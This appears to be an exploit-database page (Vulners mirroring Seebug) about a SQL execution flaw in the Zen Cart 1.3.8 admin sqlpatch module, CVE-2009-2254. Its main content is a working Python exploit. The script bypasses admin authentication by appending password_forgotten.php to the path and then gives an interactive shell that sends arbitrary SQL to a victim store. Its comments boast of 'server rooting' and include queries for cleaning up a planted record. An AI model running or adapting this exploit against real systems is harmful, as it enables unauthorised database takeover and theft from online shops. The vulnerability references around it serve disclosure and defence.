Lucene search
K

Zen Cart admin/sqlpatch.php模块SQL注入漏洞

🗓️ 05 Sep 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

Zen Cart 1.3.8 Remote SQL Execution & Admin SQL Patch Module Vulnerability

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-2254
23 Jun 200900:00
circl
CVE
CVE-2009-2254
30 Jun 200910:00
cve
Cvelist
CVE-2009-2254
30 Jun 200910:00
cvelist
EUVD
EUVD-2009-2250
7 Oct 202500:30
euvd
NVD
CVE-2009-2254
30 Jun 200910:30
nvd
OpenVAS
Zen Cart <= 1.3.8a Multiple Vulnerabilities
3 Jul 200900:00
openvas
Prion
Sql injection
30 Jun 200910:30
prion
Tenable Nessus
Zen Cart password_forgotten.php Admin Access Bypass
24 Jun 200900:00
nessus

                                                #!/usr/bin/python

#
# ------- Zen Cart 1.3.8 Remote SQL Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
#
# BlackH :)
#

#
# Notes: must have admin/sqlpatch.php enabled
#
# clean the database :
#	DELETE FROM `record_company_info` WHERE `record_company_id` = (SELECT `record_company_id` FROM `record_company` WHERE `record_company_image` = '8d317.php' LIMIT 1);
#	DELETE FROM `record_company` WHERE `record_company_image` = '8d317.php';

import urllib, urllib2, re, sys

a,b = sys.argv,0

def option(name, need = 0):
	global a, b
	for param in sys.argv:
		if(param == '-'+name): return str(sys.argv[b+1])
		b = b + 1
	if(need):
		print '\n#error', &quot;-&quot;+name, 'parameter required'
		exit(1)

if (len(sys.argv) &lt; 2):
	print &quot;&quot;&quot;
=____________ Zen Cart 1.3.8 Remote SQL Execution Exploit  ____________=
========================================================================
|                  BlackH &lt;[email protected]&gt;                          |
========================================================================
|                                                                      |
| $system&gt; python &quot;&quot;&quot;+sys.argv[0]+&quot;&quot;&quot; -url &lt;url&gt;                                 |
| Param: &lt;url&gt;      ex: http://victim.com/site (no slash)              |
|                                                                      |
| Note: blind &quot;injection&quot;                                              |
========================================================================
	&quot;&quot;&quot;
	exit(1)
	
url, trick = option('url', 1), &quot;/password_forgotten.php&quot;

while True:
	cmd = raw_input('sql@jah$ ') 
	if (cmd == &quot;exit&quot;): exit(1)
	req = urllib2.Request(url+&quot;/admin/sqlpatch.php&quot;+trick+&quot;?action=execute&quot;, urllib.urlencode({'query_string' : cmd}))
	if (re.findall('1 statements processed',urllib2.urlopen(req).read())):
		print '&gt;&gt; success (', cmd, &quot;)&quot;
	else:
		print '&gt;&gt; failed, be sure to end with ; (', cmd, &quot;)&quot;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Sep 2009 00:00Current
6.6Medium risk
Vulners AI Score6.6
EPSS0.09565
29